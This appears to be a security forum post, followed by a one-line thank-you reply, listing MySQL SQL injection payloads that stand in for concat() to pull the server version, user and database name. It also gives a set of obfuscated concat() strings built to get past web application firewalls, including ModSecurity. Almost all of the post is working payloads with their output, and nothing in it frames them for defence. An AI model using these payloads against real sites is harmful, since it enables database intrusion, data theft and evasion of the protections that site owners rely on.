MySQL Injection concat() replacements

[Nytro]

mysql injection concat() replacements @sergey_lakantar 
select export_set(1,version(),user(),' : ',2);
5.1.7 : my_user

select export_set(1,version(),export_set(1,user(),schema(),' : ',2),' : ',2);
5.1.7 : my_user : my_db

select make_set(7,version(),user(),schema());
5.1.7,my_user,my_db

select replace(make_set(7,version(),user(),schema()),',',' : ');
5.1.7 : my_user : my_db

select insert(insert(version(),length(version())--1,0,user()) ,length(version())--1,0,' : ');
5.1.7 : my_user

select insert(insert(schema(),length(schema())--1,0,insert(insert(version(),length(version())--1,0,user()) ,length(version())--1,0,' : ')),length(schema())--1,0,' : ');
5.1.7 : my_user : my_db

select replace(replace(replace('!?$','!',version()),'?',' : '),'$',user());
5.1.7 : my_user

select replace(replace(replace(replace('!?$?^','!',version()),'?',' : '),'$',user()),'^',schema());
5.1.7 : my_user : my_db

select lpad(lpad(user(),@x:=length(user())--3,' : '),@x--length(version()),version())
5.1.7 : my_user

select lpad(lpad(lpad(lpad(schema(),@x:=length(schema())--3,' : '),@x--length(user()),user()),@x--length(user())--3,' : '),@x--length(user())--3--length(version()),version());
5.1.7 : my_user : my_db

select rpad(rpad(version(),@x:=length(version())--3,' : '),@x--length(user()),user());
5.1.7 : my_user

select rpad(rpad(rpad(rpad(version(),@x:=length(version())--3,' : '),@x--length(user()),user()),@x--length(user())--3,' : '),@x--length(user())--3--length(schema()),schema());
5.1.7 : my_user : my_db

group_concat() without comma-
select (select group_concat(a separator ' : ') from (select version()a union select user() union select schema())x);
5.1.7 : my_user : my_db

concat() waf bypass-
/*!50000group_coNcat(*/)
/*!50000coNcat(*/)
`coNcat`%0a%0b%0c%0d%a0()
{snoopdogg concat()}
{s {n {o {o {p {d {o {g {g`coNcat`()}}}}}}}}}
{s {n {o {o {p {d {o {g {g`coNcat`/*!50000(*/)}}}}}}}}}
{s {n {o {o {p {d {o {g {g`coNcat`/*!50000 /*! /*!40000 /*! /*!(*/((((1 %23aaa%0a )))))}}}}}}}}}
concat-- a%0a()
concat%23aaaaaaaaaa..........%0a(%23aaaaaaa.........%0a)
concat/**x**/()

Modsecurity-
concat+()

Link: concat() replacements - Pastebin.com

[n3Oh]

Mersi! Aveam nevoie!!!